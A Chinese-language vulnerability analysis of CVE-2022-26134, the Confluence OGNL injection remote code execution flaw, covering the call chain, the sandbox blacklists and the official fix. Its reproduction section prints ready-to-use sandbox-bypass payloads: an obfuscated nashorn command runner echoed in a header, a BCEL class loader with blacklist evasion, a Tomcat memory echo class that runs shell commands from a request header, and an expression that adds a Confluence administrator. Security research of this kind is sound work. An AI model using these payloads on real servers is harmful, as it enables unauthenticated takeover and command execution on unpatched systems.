Atlassian Confluence(简称Confluence)是一个专业的wiki程序。它是一个知识管理的工具,通过它可以实现团队成员之间的协作和知识共享

2022 年 6 月 2 日,Atlassian 发布了针对其 Confluence 服务器和数据中心应用程序的安全公告,强调了一个严重的未经身份验证的远程代码执行漏洞。OGNL 注入漏洞允许未经身份验证的用户在 Confluence 服务器或数据中心实例上执行任意代码

官网通告:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

影响版本:

1
2
3
4
5
6
7
from 1.3.0 before 7.4.17
from 7.13.0 before 7.13.7
from 7.14.0 before 7.14.3
from 7.15.0 before 7.15.2
from 7.16.0 before 7.16.4
from 7.17.0 before 7.17.4
from 7.18.0 before 7.18.1

环境搭建

Confluence在windows下的安装可参考:Windows Confluence7.13.5安装
环境下载地址:https://www.atlassian.com/zh/software/confluence/download-archives,我这里下载的是Atlassian Confluence 7.15.1
发现默认安装的java版本为 jdk11.0.12

Confluence对应的JDK和tomcat版本可以参考官网信息:Bundled Tomcat and Java versions

修改setenv.bat文件添加JVM远程调试

然后运行start-confluence.bat即可

漏洞分析

在经过一系列Filter处理后由com.opensymphony.webwork.dispatcher.ServletDispatcher#service做请求分发

主要看到getNameSpace方法,这个方法使 namespace 的值为 servletPath 最后一个/之前的部分

随后调用子类com.atlassian.confluence.servlet.ConfluenceServletDispatcher的serviceAction方法
先调用createActionProxy创建一个代理对象,然后调用代理对象的execute方法,可以看到我们的payload存放在namespace参数中

跟进到com.opensymphony.xwork.DefaultActionProxy#execute

这里继续调用com.opensymphony.xwork.DefaultActionInvocation#invoke方法

发现在 invoke 方法中会迭代 interceptors,通过next获取下一个拦截器对象,然后调用其 intercept 方法,可以看到一共有28个拦截器

在某些拦截器中会返回resultCode为notpermitted,然后进入 executeResult 方法

首先调用 this.createResult() ,根据之前的 resultCode 获取对应的结果,可以看到notpermitted对应的 result 类为 ActionChainResult

执行this.result.execute(this),即走到com.opensymphony.xwork.ActionChainResult#execute

最终调用到com.opensymphony.xwork.util.TextParseUtil#translateVariables

成功触发 OGNL 表达式注入,因为tomcat的原因,特殊字符会违反RFC导致400,所以需要进行编码

沙箱分析

从v7.15开始,Confluence 在 OGNL 表达式解析时加入了沙箱限制,采取了黑名单、白名单等方式,可以看到在findValue中存在安全校验

跟进 isSafeExpression 方法,可以看到采用黑名单方式对调用的类进行检测

黑名单如下:
(1) unsafePropertyNames

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0 = "sun.misc.Unsafe"
1 = "classLoader"
2 = "java.lang.System"
3 = "java.lang.ThreadGroup"
4 = "com.opensymphony.xwork.ActionContext java.lang.Compiler"
5 = "com.atlassian.applinks.api.ApplicationLinkRequestFactory"
6 = "java.lang.Thread"
7 = "com.atlassian.core.util.ClassLoaderUtils"
8 = "java.lang.ProcessBuilder"
9 = "java.lang.InheritableThreadLocal"
10 = "com.atlassian.core.util.ClassHelper"
11 = "class"
12 = "java.lang.Shutdown"
13 = "java.lang.ThreadLocal"
14 = "java.lang.Process"
15 = "java.lang.Package"
16 = "org.apache.tomcat.InstanceManager"
17 = "java.lang.Runtime"
18 = "javax.script.ScriptEngineManager"
19 = "javax.persistence.EntityManager"
20 = "org.springframework.context.ApplicationContext"
21 = "java.lang.SecurityManager"
22 = "java.lang.Object"
23 = "java.lang.Class"
24 = "java.lang.RuntimePermission"
25 = "javax.servlet.ServletContext"
26 = "java.lang.ClassLoader"

(2) unsafePackageNames

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
0 = "java.rmi"
1 = "sun.management"
2 = "org.apache.catalina.session"
3 = "java.jms"
4 = "com.atlassian.confluence.util.io"
5 = "com.google.common.reflect"
6 = "javax.sql"
7 = "java.nio"
8 = "com.atlassian.sal.api.net"
9 = "sun.invoke"
10 = "java.util.zip"
11 = "liquibase"
12 = "com.hazelcast"
13 = "org.apache.commons.httpclient"
14 = "com.atlassian.util.concurrent"
15 = "java.net"
16 = "freemarker.ext.jsp"
17 = "com.sun.jna"
18 = "net.java.ao"
19 = "javax"
20 = "sun.corba"
21 = "org.springframework.util.concurrent"
22 = "com.sun.jmx"
23 = "sun.misc"
24 = "javassist"
25 = "ognl"
26 = "org.apache.commons.exec"
27 = "com.atlassian.cache"
28 = "org.wildfly.extension.undertow.deployment java.lang.reflect"
29 = "io.atlassian.util.concurrent"
30 = "java.util.concurrent"
31 = "com.atlassian.confluence.util.http"
32 = "sun.tracing"
33 = "org.objectweb.asm"
34 = "freemarker.template"
35 = "net.sf.hibernate"
36 = "freemarker.core"
37 = "net.bytebuddy"
38 = "org.apache.tomcat"
39 = "freemarker.ext.rhino"
40 = "com.atlassian.media"
41 = "org.springframework.context"
42 = "org.apache.velocity"
43 = "javax.xml"
44 = "java.sql"
45 = "sun.reflect"
46 = "sun.net"
47 = "javax.persistence"
48 = "org.javassist"
49 = "javax.naming"
50 = "org.apache.httpcomponents.httpclient"
51 = "com.atlassian.hibernate"
52 = "sun.nio"
53 = "com.atlassian.confluence.impl.util.sandbox"
54 = "com.google.common.net"
55 = "com.atlassian.filestore"
56 = "org.apache.commons.io"
57 = "com.atlassian.vcache"
58 = "jdk.nashorn"
59 = "sun.launcher"
60 = "oshi"
61 = "org.apache.bcel"
62 = "sun.rmi"
63 = "sun.tools.jar"
64 = "org.springframework.expression.spel"
65 = "com.opensymphony.xwork.util"
66 = "org.ow2.asm"
67 = "com.atlassian.confluence.setup.bandana"
68 = "org.quartz"
69 = "net.sf.cglib"
70 = "com.atlassian.activeobjects"
71 = "com.atlassian.utils.process"
72 = "sun.security"
73 = "com.atlassian.quartz"
74 = "javax.management"
75 = "sun.awt.shell"
76 = "com.google.common.cache"
77 = "org.apache.http.client"
78 = "java.io"
79 = "com.atlassian.confluence.util.sandbox"
80 = "java.util.jar"
81 = "com.atlassian.scheduler"
82 = "sun.print"
83 = "com.atlassian.failurecache"
84 = "com.google.common.io"
85 = "org.apache.catalina.core"
86 = "org.ehcache"

(3) unsafeMethodNames

1
2
0 = "getClass"
1 = "getClassLoader"

白名单 allowedClassNames 如下:

1
2
3
4
5
6
7
8
9
0 = "net.sf.hibernate.proxy.HibernateProxy"
1 = "java.lang.reflect.Proxy"
2 = "net.java.ao.EntityProxyAccessor"
3 = "net.java.ao.RawEntity"
4 = "net.sf.cglib.proxy.Factory"
5 = "java.io.ObjectInputValidation"
6 = "net.java.ao.Entity"
7 = "com.atlassian.confluence.util.GeneralUtil"
8 = "java.io.Serializable"

然后调用了 containsUnsafeExpression 方法对表达式进行检测,递归检查节点及其子节点是否包含黑名单

这里需要OGNL基础,可参考文章:一文读懂OGNL漏洞

漏洞复现(沙箱绕过)

这里只谈高版本的利用,直接使用Class.forName反射拿到关键类即可
其实早在CVE-2021-26084就有过相关回显研究:CVE-2021-26084-Atlassian Confluence OGNL注入漏洞分析与回显

ScriptEngineManager

p神的回显exp:

1
${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-CMD",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,119,104,111,97,109,105,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))"))}

其中的js代码为:

1
var s='';var pp = java.lang.Runtime.getRuntime().exec('whoami').getInputStream();while (1) {var b = pp.read();if (b == -1) {break;}s=s+String.fromCharCode(b)};s

成功在header处回显

ClassLoader

可以发现Confluence 自带了一个org.apache.bcel.util.ClassLoader,位于 xalan-2.7.2.jar 包中

可以直接loadClass加载BCEL字节码,由于在黑名单内,字符串拼接绕过

1
${Class.forName("org.ap"+"ache.bcel.util.ClassLoader").newInstance().loadClass("$$BCEL$$"+code).newInstance()}

中间件是Tomcat,使用Tomcat9的回显即可,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
public class ConfluenceEcho {
static {
try{
Object obj = Thread.currentThread();
java.lang.reflect.Field field = obj.getClass().getSuperclass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
obj = field.get(obj);

Thread[] threads = (Thread[])obj;
label:for(Thread thread : threads){
try{
if(thread.getName().contains("http-nio") && thread.getName().contains("Acceptor")) {
field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
obj = field.get(thread);

field = obj.getClass().getDeclaredField("endpoint");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("global");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("processors");
field.setAccessible(true);
java.util.List processors = (java.util.List) (field.get(obj));

for (int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
field = processor.getClass().getDeclaredField("req");
field.setAccessible(true);
Object req = field.get(processor);
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req);

String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});

if (cmd != null && !cmd.isEmpty()) {
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 200);
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();

Class cls = Class.forName("java.nio.ByteBuffer");
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
}
}
}
}catch(Exception e){
}
}
}catch (Exception e){}
}
}

可以看到复现成功

添加管理员

虽然过滤了#request#context等变量,但是没有过滤 #this
我们可以通过#this添加管理员

1
${#this.getUserAccessor().addUser('test','test123','test@qq.com','Test',@com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString("confluence-administrators,confluence-users"))}

漏洞修复

官网的修复方案是使用xwork-1.0.3-atlassian-10.jar代替/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar

diff一下,发现移除了com.opensymphony.xwork.util.TextParseUtil#translateVariables的调用

参考:
【下篇】CVE-2022-26134 Confluence 多种通用型绕过沙箱姿势可实现命令回显
CVE-2022-26134 Confluence OGNL RCE 漏洞深入分析和高版本绕过沙箱实现命令回显
Confluence CVE-2022-26134 漏洞分析
CVE-2022-26134 Confluence Server Data Center OGNL RCE